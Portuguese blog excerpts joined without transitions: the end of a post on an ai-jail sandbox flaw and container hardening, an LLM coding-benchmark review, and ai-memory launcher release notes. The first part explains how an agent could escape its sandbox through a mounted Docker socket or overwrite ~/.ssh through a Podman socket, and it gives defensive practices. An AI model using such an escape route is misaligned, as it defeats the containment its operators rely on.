• Rootless tem preço. A rede rootless (slirp4netns, e hoje o pasta) tem limitações: sem ping por padrão, IP de origem esquisito, throughput menor. Imagem que assume uid 0 e volume com permissão errada pedem ajuste. Nada grave, mas é atrito.
• Docker Desktop é um produto. No macOS e no Windows, o Docker Desktop entrega uma experiência polida que o Podman Desktop ainda está alcançando. Pra muita gente, esse é o único contato com containers que existe.

Somando tudo, você chega na resposta de por que o mundo continua no Docker: inércia de ecossistema. Todo tutorial, todo CI, toda imagem de exemplo, todo docker run colado de Stack Overflow assume o daemon root no caminho clássico. O Docker virou o nome da categoria, tipo Bombril. Migrar pro Podman é tecnicamente fácil e politicamente caro: é você contra o conhecimento acumulado da internet inteira.

Um detalhe que importa pra quem usa sandbox: montar o socket do Podman rootless dentro de uma jaula é bem menos catastrófico que montar o do Docker. O “daemon” equivalente roda como o seu usuário, então um agente mal-intencionado ganharia os seus privilégios, não root. Continua ruim (dá pra sobrescrever o seu ~/.ssh com eles, por exemplo), mas é outro campeonato. Mesmo assim, o default do ai-jail continua valendo: não montar socket nenhum, de runtime nenhum. Opt-in é opt-in.

Boas práticas pra isso não morder você

A lista que eu aplico e recomendo:

1. Trate o grupo docker como sudo sem senha. Antes de adicionar qualquer usuário ou serviço nele, pergunte se você daria sudo irrestrito pra aquilo. É a mesma coisa.
2. Nunca monte /var/run/docker.sock em ambientes não confiáveis. Agente de IA, job de CI que roda código de pull request de estranho, container de terceiro. Faça um grep -r docker.sock nos seus docker-compose, manifests de CI e configs de ferramentas. Aparece em mais lugares do que você lembra.
3. Precisou expor pra algo semiconfiável? Use um socket proxy. O wollomatic/socket-proxy e o docker-socket-proxy da Tecnativa ficam entre o cliente e o daemon com allowlist de endpoints e bloqueio de bind mounts arbitrários. Read-only por padrão, você liga só o que precisa.
4. Prefira rootless sempre que possível. Podman rootless no Linux é o caminho mais limpo; o rootless mode do próprio Docker é a segunda opção. O daemon deixa de ser root e essa classe inteira de problema perde a mordida.
5. Em CI, construa imagem sem daemon privilegiado. Kaniko e Buildah constroem imagens rootless, sem precisar montar socket nenhum no job.
6. Não conseguiu rootless? Ligue o userns-remap. Custa uma tarde de testes com seus volumes e compra isolamento real entre o root do container e o root do host.
7. No ai-jail, deixe o default trabalhar por você. Docker desligado, e --docker só nos projetos onde você confia no workload como confiaria num sudo. Regra prática: se você não daria sudo cego pro agente naquele diretório, também não dê --docker.

Conclusão

Uma sandbox bem construída perde boa parte do valor se tiver uma porta dos fundos aberta por conveniência. O bwrap, o Landlock, o seccomp e os rlimits do ai-jail continuam fazendo o trabalho deles, mas nenhum deles enxerga o que acontece quando o processo lá dentro pede gentilmente pro daemon root do host montar o filesystem inteiro num container. Camada de segurança que você não audita vira decoração.

Meu agradecimento público ao @mdindoffer: report limpo, repro mínima, severidade correta e ainda por cima proposta de solução. É assim que se reporta vulnerabilidade em projeto open source.

Se você quer o contexto completo de como eu uso sandbox no dia a dia, escrevi sobre isso em Como me precaver pros meus agentes não apagarem minhas coisas?. A história do ai-jail está em AI Agents: Garantindo a Proteção do seu Sistema e na reescrita em Rust.

Agora vai lá e roda o upgrade.

“É bom?”

Resposta curta: sim, é muito bom. No meu benchmark fez 95/100, Tier A, com a engenharia mais completa que apareceu até agora em qualquer um dos harnesses que testei.

Agora a resposta que interessa: não, isso não prova que virou “o melhor LLM do mundo”. Nem prova que é melhor que Fable 5, Opus 4.8, GPT 5.6 Sol ou Kimi K3 em qualquer trabalho que você jogar neles. Semana passada publiquei um artigo inteiro explicando por que a maior nota não significa o melhor modelo. O Opus 5 chegou a tempo de produzir um belo estudo de caso praquele texto.

Onde a Anthropic posiciona o Opus 5

No anúncio oficial, a Anthropic descreve o Opus 5 como um modelo de uso diário que chega perto da inteligência de fronteira do Fable 5, mas custa metade. Ele virou o modelo padrão no Claude Max e o mais forte disponível no Pro.

A escadinha comercial parece simples:

Opus 4.8  <  Opus 5  ≈  Fable 5

Só que nem os dados da própria Anthropic formam uma linha tão limpa. No CursorBench 3.2, em esforço máximo, Opus 5 fica a 0,5% do pico do Fable 5. No Frontier-Bench v0.1, supera todos os outros modelos e mais que dobra o resultado do Opus 4.8 com custo menor por tarefa. No OSWorld 2.0, chega a passar o melhor resultado do Fable por pouco mais de um terço do custo.

Então “entre Opus 4.8 e Fable 5” é um atalho razoável pra entender o produto. Não é uma classificação universal. Dependendo da tarefa e do esforço escolhido, as curvas se cruzam.

O preço é mais objetivo. Opus 5 custa $5 por milhão de tokens de input e $25 por milhão de output, igual ao Opus 4.8. Fable 5 custa $10/$50. Em tarifa de API, Opus 5 entrega a promessa mais interessante do lançamento: comportamento próximo de Fable sem pagar a taxa Fable.

O benchmark

Pra quem caiu de paraquedas, meu LLM Coding Benchmark dá o mesmo problema a todos: construir sozinho um chat estilo ChatGPT em Rails 8, com RubyLLM, Hotwire, Tailwind, testes, CI, Docker e documentação.

Não avalio uma função isolada. Avalio o projeto que saiu no final: se usa a API real do RubyLLM, se multi-turn funciona, se trata falhas do provider, se a conversa persiste, se Turbo Streams está ligado de verdade, se os testes conseguem pegar bugs e se a imagem de produção sobe.

O Opus 5 rodou solo pelo Claude Code headless, com --dangerously-skip-permissions, usando minha assinatura Max. Foram:

• 38m57s
• 201 turnos
• 121 testes e 355 assertions
• 100% de cobertura de linhas e 95,94% de branches
• 22,1 milhões de tokens de cache read
• $16,02 equivalentes em tarifa de API, mas cobrados da assinatura

Isso exige um asterisco. Opus 4.8 e Fable 5 foram testados no OpenCode via OpenRouter. GPT 5.6 Sol rodou no Codex. Kimi K3 rodou no Kimi Code CLI. Coding benchmark mede o pacote inteiro:

modelo + prompt + harness + tools + contexto + execução + auditoria

Por isso o repositório mantém o Opus 5 no perfil de Claude Code em vez de fingir que foi uma comparação perfeitamente controlada com a tabela principal. Aqui vou juntar as 40 linhas do ranking principal com o novo resultado porque todo mundo quer enxergar onde o 95 cai. O asterisco não é enfeite.

Ranking atualizado: tabela principal + Opus 5

* Opus 5 recebeu 95/100 equivalente no perfil Claude Code. A tabela principal do repositório o mantém separado pra deixar a diferença de harness explícita.

O que o Opus 5 escreveu

O score sozinho esconde a parte mais interessante. O projeto do Opus 5 foi o melhor exemplo de engenharia defensiva que apareceu até agora no benchmark.

Ele isolou todo acesso ao RubyLLM num único Assistant::Client, injetou a factory do chat pra testes e verificou a API real da gem antes de depender dela. Além dos mocks de RubyLLM.chat, with_instructions, add_message e ask, criou um teste de guarda que confirma que esses métodos continuam existindo na gem instalada. Se a biblioteca mudar a interface, o CI quebra antes da produção.

A conversa fica atrás de um ConversationRepository em Rails.cache, com TTL de 12 horas e limite de 40 mensagens no replay. Antes de mandar histórico ao provider, normaliza a alternância entre user e assistant, remove respostas que falharam e garante que a janela não começa com uma mensagem de assistant. Parece detalhe até a API rejeitar o payload no segundo turno.

Foi exatamente aí que o modelo encontrou e consertou dois bugs durante o próprio run. Uma resposta que falhou podia deixar duas mensagens de usuário seguidas. Cortar a janela do histórico também podia começar numa resposta do assistant. Ele escreveu os testes, corrigiu e validou multi-turn real, inclusive recuperação depois de uma falha.

Também entregou:

• streaming fora do request principal;
• broadcasts Turbo Streams assinados e limitados a cerca de 10 atualizações por segundo;
• preflight de credencial;
• mensagens diferentes pra chave inválida, rate limit, falta de crédito, contexto estourado e provider indisponível;
• Markdown escapado antes de formatar HTML;
• Dockerfile multi-stage, produção, non-root;
• RuboCop, Brakeman, bundler-audit, importmap audit e GitHub Actions.

Não é 100. Existe uma race de lost update se outra mensagem entrar durante a geração, embora o próprio projeto limite o deploy a WEB_CONCURRENCY=1. Também deixou o modelo padrão em Sonnet 4.6 quando Sonnet 5 já existia, e comitou lixo de log/ e coverage/ dentro do artefato. Foram as deduções que seguraram em 95.

Opus 5 contra Opus 4.8 e Fable 5

Primeiro os números do nosso teste:

O Opus 4.8 tinha feito 95 com uma solução menor e muito mais rápida. Usou a API correta, escreveu testes honestos e fez a melhor validação ao vivo daquela rodada: Rails local, chamada real ao OpenRouter, Docker, container de produção e Compose. Perdeu pontos por deixar o histórico sem limite no cookie e não fazer preflight da chave.

Opus 5 corrigiu os dois defeitos e foi bem além na arquitetura, no streaming e nos testes. Em compensação, criou outra race, deixou o pin desatualizado e gastou mais do dobro do tempo. Mesma nota, artefatos bem diferentes.

O Fable 5 original fez 94. Foi o primeiro modelo que vi parar no meio do trabalho pra ler o source instalado do RubyLLM antes de escrever a integração. Tinha 99,3% de cobertura, cap de histórico, preflight e uma fase 2 sem nenhum conserto. A grande dedução foi guardar conversa num singleton em memória: reinicia o processo, perde tudo; sobe mais de um worker, cada um enxerga um mundo.

O re-release do Fable corrigiu isso com Rails.cache, mas deixou o cache sem hard cap, manteve Sonnet 4.6 e fez uma validação ao vivo mais fraca. Caiu um ponto. Mesma identificação de modelo, outro projeto, outro score.

Nos limites desse app Rails, Opus 5 parece mais completo que os dois Fable e pelo menos tão bom quanto Opus 4.8. Só não confunda isso com “Opus 5 tem mais inteligência que Fable”. A Anthropic diz que a vantagem do Fable cresce quanto mais longa e complexa fica a tarefa. Nosso projeto é pequeno, greenfield e fechado. Pode simplesmente não ter espaço pra mostrar a diferença.

O preço: metade do Fable, mas cuidado com a conta

Na API, a vantagem é direta:

Se Opus 5 realmente entrega comportamento próximo de Fable no seu workload, pagar o dobro por Fable fica difícil de justificar. Fable precisa resolver algo que Opus não resolve, não apenas carregar o nome da tier acima.

Mas o custo observado nessa rodada conta outra história:

Como um modelo com tarifa pela metade do Fable acabou com equivalente maior? Porque preço por milhão não é custo por tarefa. O run do Opus 5 fez 201 turnos e acumulou 22,1 milhões de cache reads no Claude Code. O run do Fable usou outro harness e outro perfil de tokens. Comparar $16,02 com $11,20 como se fosse só diferença de modelo seria errado.

Pra mim, assinante Max, o custo marginal real foi zero enquanto eu estiver dentro da franquia. Pra automação que paga API por token, a tarifa do Opus 5 é metade da do Fable e igual à do 4.8. Aí eu começaria no Opus 5 e só subiria pra Fable com evidência de que a tarefa precisa dele.

Contra GPT 5.6 Sol e Kimi K3

O GPT 5.6 Sol fez 92 em 17 minutos. Foi muito mais econômico em tokens e entregou uma aplicação defensiva: Docker non-root, 99,2% de cobertura, histórico limitado por mensagens, caracteres e bytes, e um teste específico pra não repetir o prompt atual no contexto.

Perdeu pontos porque não usou with_instructions e carregou o histórico num hidden field do browser. Funciona, mas perde a conversa no reload e deixa o cliente adulterar o contexto. O Opus 5 colocou essas responsabilidades no servidor, separou melhor domínio, persistência e provider, e testou muito mais. Neste projeto, a diferença de três pontos faz sentido. No uso diário, os dois continuam no mesmo cluster de modelos fortes.

O Kimi K3 fez 89 em 26 minutos. Ele já tinha acertado o padrão que decide boa parte do topo: Rails.cache, TTL e cap de histórico. Custou só cerca de $2,10 equivalentes em API pela assinatura Moderato.

Ficou abaixo porque não tinha system prompt, colocou I/O do LLM dentro do model Conversation, não fez preflight de credencial e deixou o cache de produção no default efêmero do container. Opus 5 fecha quase todas essas lacunas. Kimi continua sendo uma alternativa Tier A bem mais barata; Opus 5 é o projeto que eu precisaria mexer menos antes de confiar.

O Opus 5 também derrubou o antigo campeão

Tem uma mudança importante na tabela que não veio do código novo. Até ontem, Opus 4.7 aparecia em primeiro com 97. O cross-audit cego entre ele e Opus 5 deu 94 contra 70 a favor do 5. Fui reler os artefatos antigos.

O Opus 4.7 tinha um bug de double-send: o controller salvava a mensagem do usuário antes de chamar o service, e o service reenviava todo o histórico, incluindo aquela mesma mensagem. Cada prompt chegava duas vezes ao LLM. As mensagens de erro também voltavam no contexto de pedidos futuros, e o cookie tinha limite de quantidade, mas não de bytes.

Os testes passavam porque controller e service eram testados em arranjos diferentes do fluxo de produção. O modelo não piorou desde abril. O projeto também não mudou. Minha auditoria é que estava incompleta. Recalculei a nota de 97 pra 87.

Isso é quase cômico porque o artigo da semana passada usava justamente “por que Opus 4.7 fica acima de 4.8 e Fable?” como exemplo. Agora não fica. E o argumento do artigo ficou ainda mais forte.

Benchmark não é escritura sagrada. A rubrica evolui, o auditor encontra um ponto cego, o harness muda, o mesmo modelo gera outro projeto. Se uma tabela não publica prompt, artefato, logs e correções, ela serve mais pra marketing que pra engenharia.

Conclusão

Opus 5 é bom? Sim. Muito.

Fez 95/A, empatou com Opus 4.8 e GPT 5.4 no score, ficou um ponto acima do Fable original, três acima do GPT 5.6 Sol e seis acima do Kimi K3. Produziu o projeto mais cuidadoso desta rodada inteira: arquitetura limpa, RubyLLM verificado na gem real, histórico correto, streaming bem feito, erros separados e 121 testes.

Também levou 39 minutos, queimou 22 milhões de cache reads e rodou num harness diferente. A nota maior que Fable não prova que é melhor que Fable no geral. Prova que, neste app Rails, nesta execução pelo Claude Code e nesta auditoria, o artefato encaixou um pouco melhor na rubrica.

Minha leitura prática: Opus 5 merece entrar como primeira opção. A tarifa é a mesma do Opus 4.8 e metade da do Fable. Pra quem tem Claude Pro ou Max, vira a escolha óbvia antes de gastar créditos no Fable. Pra quem paga API, eu também começaria nele e exigiria dados antes de subir pra tier de $10/$50.

E a regra continua a mesma: leia 90+ como um grupo. Tier A está claramente acima de Tier C neste workload. Dentro do grupo bom, escolha por custo, assinatura, velocidade, harness e pelo tipo de defeito que você aceita revisar.

Não use meu benchmark pra decidir qual é “o melhor LLM”. Use pra escolher o que vale testar no seu problema. Se a decisão importa, rode a sua metodologia, mais de uma vez, e leia o código.

No mesmo dia saiu a versão 1.1.0. Hoje, 20 de julho, estamos na 1.17.1.

Versão sozinha não quer dizer grande coisa, então fui contar o que aconteceu de verdade desde o horário daquele post. Foram 31 releases, 55 pull requests mergeados e 46 issues fechadas. Eu contei 24 grupos de funcionalidades novas voltadas ao usuário no CHANGELOG, ignorando correções, documentação e detalhes internos da mesma entrega. Se eu quebrasse a nova família ai-memory run em auto-seleção, adoção de sessão, suporte a Crush, --yolo, busca e recuperação, passava disso fácil.

Quinze pessoas tiveram PRs mergeados nesse período, quatorze além de mim. Preciso agradecer em especial ao Djalma Júnior, que sozinho teve 24 PRs mergeados, Matheus Rodrigues, com cinco, lhzapata, com quatro, Thiago Silva e Cristiano Dewes, com dois cada. Mais nove contribuidores tiveram PR mergeado. Faz tempo que isso deixou de ser “um programinha que eu fiz num fim de semana”.

Não vou despejar 55 PRs aqui. Quero falar da mudança que mais afeta meu uso diário: o novo ai-memory run.

A sessão também faz parte do projeto

Código é o resultado que sobreviveu. Ele não guarda a investigação inteira.

O Git mostra que você trocou Redis por SQLite. Talvez o commit explique uma parte. Mas onde ficou o experimento com Redis? Onde está o bug intermitente que só aparecia com dois workers? Quem lembrou que a primeira solução quebrava no Windows? Por que o time mudou de ideia depois de três horas? Qual workaround era temporário e qual virou decisão?

Boa parte disso só existe na sessão do agente.

Quando programo com Claude Code ou Codex, a sessão acumula o raciocínio operacional do projeto: perguntas, correções, tentativas descartadas, resultados de testes, surpresas, decisões e mudanças de direção. O código final mostra o que ficou. A sessão explica por que chegamos ali.

E sessão de LLM, no fim das contas, é texto. Claude Code grava JSONL. Codex também. OpenCode usa SQLite. Pi, OMP e Crush têm seus próprios formatos e diretórios. Cada harness empacota a conversa de um jeito, mas o conteúdo visível continua sendo mensagens e resultados de ferramentas.

Por que eu deveria deixar a parte mais cara do trabalho presa ao harness?

Anthropic pode mudar limite, preço, modelo ou formato amanhã. OpenAI também. Um agente pode estar excelente esta semana e insuportável na próxima. Eu quero trocar o motor sem jogar fora a viagem inteira.

Essa é a tese do ai-memory desde o começo: o programador tem que continuar independente das vontades dos providers. Modelo e harness são substituíveis. A memória do projeto é minha.

O handoff resolvia só metade

O ai-memory já fazia passagem de bastão. Eu encerrava Claude Code, os hooks consolidavam a sessão e o Codex seguinte recebia um resumo curto com o que foi feito, perguntas abertas e próximos passos.

Isso continua existindo e continua útil. Quem abre claude, codex ou opencode diretamente mantém o comportamento anterior. O launcher novo é opt-in.

Mas handoff é uma compressão deliberadamente lossy. Ele preserva o que parece mais importante naquele momento. Não pretende transportar a sessão inteira, nem retomar a sessão nativa de cada harness. Se o resumo omitiu uma tentativa antiga que voltou a ser relevante duas horas depois, você precisa procurar na wiki ou nos registros.

O ai-memory run acrescenta outra camada: uma workstream gerenciada, uma linha de trabalho que atravessa os harnesses.

Claude hoje, Codex daqui a pouco

O uso básico é esse:

cd ~/Projects/meu-projeto

ai-memory run claude
# trabalha, encerra o Claude Code normalmente

ai-memory run codex --yolo
# Codex continua a mesma linha de trabalho

ai-memory run claude --model opus
# volta pra sessão nativa anterior do Claude

ai-memory run
# ou deixa o ai-memory escolher o harness certo pra continuar

Não precisa de -- pra separar os argumentos. Tudo depois do nome do harness segue pra ele, com uma exceção proposital: o --yolo pertence ao wrapper e é traduzido pra opção perigosa nativa de Claude Code, Codex, OpenCode, Pi ou Crush.

Por baixo, o ai-memory não tenta converter um arquivo do Codex num arquivo do Claude. Isso seria frágil e provavelmente quebraria na próxima atualização. Cada harness mantém sua própria sessão nativa. A workstream liga essas sessões a um ledger portátil com a parte visível da conversa.